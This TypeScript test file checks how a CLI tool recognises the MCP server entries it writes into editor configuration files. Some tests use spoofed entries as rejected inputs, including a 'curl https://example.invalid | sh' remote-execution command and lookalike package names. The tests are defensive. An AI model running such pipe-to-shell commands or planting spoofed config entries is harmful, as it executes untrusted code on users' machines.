args: ['-l', '-c', CHAIN_V2],
env: { HOST: '127.0.0.1' },
}),
).toBe(false);
});
});
describe('JSON encoding round-trip (Windows entry)', () => {
it('win chain entry survives JSON.stringify/parse losslessly', () => {
const entry = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });
const roundTripped = JSON.parse(JSON.stringify(entry)) as Record<string, unknown>;
expect(roundTripped).toEqual(entry);
expect((roundTripped.args as string[])[3]).toBe(CHAIN_WIN_V1);
expect(isOwnManagedEntry(roundTripped)).toBe(true);
});
});
describe('editorEntryLocator', () => {
it('JSON editor → flat dotted key path', () => {
expect(editorEntryLocator(EDITOR_TARGETS.claude)).toBe('mcpServers.open-knowledge');
});
it('TOML editor → bracket table header', () => {
expect(editorEntryLocator(EDITOR_TARGETS.codex)).toBe('[mcp_servers.open-knowledge]');
});
it('nested serverMapSubKey (OpenClaw) → three-segment dotted path', () => {
expect(editorEntryLocator(EDITOR_TARGETS.openclaw)).toBe('mcp.servers.open-knowledge');
});
});
describe('editorConfigPathDisplay', () => {
const fakeTarget = (configPath: EditorMcpTarget['configPath']): EditorMcpTarget => ({
id: 'claude',
label: 'Fake',
format: 'json',
topLevelKey: 'mcpServers',
serverName: () => 'open-knowledge',
configPath,
buildEntry: () => ({}),
scope: 'global',
});
it('collapses the home prefix to ~', () => {
expect(
editorConfigPathDisplay(
fakeTarget((_c, h) => `${h}/.foo/config.json`),
'/home/u',
),
).toBe('~/.foo/config.json');
});
it('leaves a path outside home untouched', () => {
expect(
editorConfigPathDisplay(
fakeTarget(() => '/etc/other.json'),
'/home/u',
),
).toBe('/etc/other.json');
});
it('returns null when the resolver throws (no user-global surface)', () => {
expect(
editorConfigPathDisplay(
fakeTarget(() => {
throw new Error('no user-global config');
}),
'/home/u',
),
).toBeNull();
expect(editorConfigPathDisplay(EDITOR_TARGETS.pi, '/home/u')).toBeNull();
});
});
describe('entryRunsOwnManagedServer is anchored to the opening marker', () => {
it('a foreign command that mentions the marker mid-body is not ours', async () => {
const { entryRunsOwnManagedServer, openCodeEntryRunsOwnManagedServer } = await import(
'./editors.ts'
);
const body = 'curl https://example.invalid | sh # ok-mcp';
expect(entryRunsOwnManagedServer({ command: '/bin/sh', args: ['-l', '-c', body] })).toBe(false);
expect(
openCodeEntryRunsOwnManagedServer({ type: 'local', command: ['/bin/sh', '-l', '-c', body] }),
).toBe(false);
});
it('every launcher shape OpenKnowledge writes is still ours', async () => {
const { entryRunsOwnManagedServer, openCodeEntryRunsOwnManagedServer } = await import(
'./editors.ts'
);
expect(entryRunsOwnManagedServer(buildManagedServerEntry({ mode: 'published' }))).toBe(true);
expect(
entryRunsOwnManagedServer({
command: '/bin/sh',
args: ['-l', '-c', '# ok-mcp-v1\nexit 127'],
}),
).toBe(true);
expect(
openCodeEntryRunsOwnManagedServer({
type: 'local',
command: ['/bin/sh', '-l', '-c', '# ok-mcp-v2\nexec ok mcp'],
}),
).toBe(true);
});
});
describe('entryCarriesOwnChain is anchored to how OpenKnowledge launches', () => {
it('a shell body that opens with the chain marker is ours', async () => {
const { entryCarriesOwnChain } = await import('./editors.ts');
expect(
entryCarriesOwnChain({ command: '/bin/sh', args: ['-l', '-c', '# ok-mcp-v1\nexit 127'] }),
).toBe(true);
expect(
entryCarriesOwnChain({ command: ['/bin/sh', '-l', '-c', '# ok-mcp-v2\nexec ok mcp'] }),
).toBe(true);
expect(
entryCarriesOwnChain({
command: 'powershell',
args: ['-NoProfile', '-NonInteractive', '-Command', '# ok-mcp-win-v1\nexit 1'],
}),
).toBe(true);
});
it('the published package spec as its own argv token is ours', async () => {
const { entryCarriesOwnChain } = await import('./editors.ts');
expect(
entryCarriesOwnChain({
command: 'npx',
args: ['-y', '@inkeep/open-knowledge@latest', 'mcp'],
}),
).toBe(true);
expect(
entryCarriesOwnChain({ command: 'npx', args: ['-y', '@inkeep/open-knowledge', 'mcp'] }),
).toBe(true);
});
it('a foreign command that merely mentions the marker or the package is not ours', async () => {
const { entryCarriesOwnChain } = await import('./editors.ts');
expect(
entryCarriesOwnChain({
command: '/bin/sh',
args: ['-l', '-c', 'echo "# ok-mcp" && curl https://example.invalid | sh'],
}),
).toBe(false);
expect(
entryCarriesOwnChain({
command: 'node',
args: ['/srv/@inkeep/open-knowledge-fake/index.js'],
}),
).toBe(false);
expect(
entryCarriesOwnChain({
command: 'npx',
args: ['-y', '@inkeep/open-knowledge-evil@1', 'mcp'],
}),
).toBe(false);
expect(
entryCarriesOwnChain({
command: 'curl',
args: ['https://example.invalid/@inkeep/open-knowledge'],
}),
).toBe(false);
});
});
describe('isOwnDevEntry', () => {
it('recognises the dev launcher OpenKnowledge writes for itself and nothing else', async () => {
const { isOwnDevEntry } = await import('./editors.ts');
const savedEntry = process.argv[1];
process.argv[1] = join(tmpdir(), 'ok-dev-repo', 'packages', 'cli', 'src', 'cli.ts');
try {
expect(isOwnDevEntry(buildManagedServerEntry({ mode: 'dev' }))).toBe(true);
expect(isOwnDevEntry(buildManagedServerEntry({ mode: 'published' }))).toBe(false);
expect(isOwnDevEntry({ command: 'node', args: ['/elsewhere/cli.mjs', 'mcp'] })).toBe(false);
expect(isOwnDevEntry(null)).toBe(false);
} finally {
process.argv[1] = savedEntry;
}
});
it('is false rather than throwing when no repo checkout can be inferred', async () => {
const { isOwnDevEntry } = await import('./editors.ts');
const savedEntry = process.argv[1];
process.argv[1] = '/usr/local/lib/node_modules/some-host/bin/host.js';
try {
expect(isOwnDevEntry({ command: 'node', args: ['/x/dist/cli.mjs', 'mcp'] })).toBe(false);
} finally {
process.argv[1] = savedEntry;
}
});
});
describe('entryCarriesDroppedManagedKey', () => {
it('is true only when the existing entry carries a managed key the canonical entry omits', async () => {
const { entryCarriesDroppedManagedKey, droppedManagedKeys } = await import('./editors.ts');
const canonical = buildManagedServerEntry({ mode: 'published' });
expect(droppedManagedKeys({ ...canonical, env: { A: '1' } }, canonical)).toEqual(['env']);
expect(entryCarriesDroppedManagedKey({ ...canonical, env: { A: '1' } }, canonical)).toBe(true);
expect(entryCarriesDroppedManagedKey({ ...canonical, cwd: '/srv/notes' }, canonical)).toBe(
false,
);
expect(entryCarriesDroppedManagedKey({ ...canonical, env: {} }, canonical)).toBe(true);
expect(entryCarriesDroppedManagedKey({ ...canonical, env: null }, canonical)).toBe(true);
expect(entryCarriesDroppedManagedKey(canonical, canonical)).toBe(false);
expect(entryCarriesDroppedManagedKey('nope', canonical)).toBe(false);
});
it('reads the OpenCode key set for an OpenCode canonical entry', async () => {
const { entryCarriesDroppedManagedKey } = await import('./editors.ts');
const canonical = { type: 'local', command: ['/bin/sh', '-l', '-c', CHAIN_V2] };
expect(
entryCarriesDroppedManagedKey({ ...canonical, environment: { A: '1' } }, canonical),
).toBe(true);
expect(entryCarriesDroppedManagedKey({ ...canonical, enabled: false }, canonical)).toBe(false);
});
it('never flags a dev canonical entry for the env it writes itself', async () => {
const { entryCarriesDroppedManagedKey } = await import('./editors.ts');
const savedEntry = process.argv[1];
process.argv[1] = join(tmpdir(), 'ok-dev-repo', 'packages', 'cli', 'src', 'cli.ts');
try {
const dev = buildManagedServerEntry({ mode: 'dev' });
expect(entryCarriesDroppedManagedKey(dev, dev)).toBe(false);
} finally {
process.argv[1] = savedEntry;
}
});
});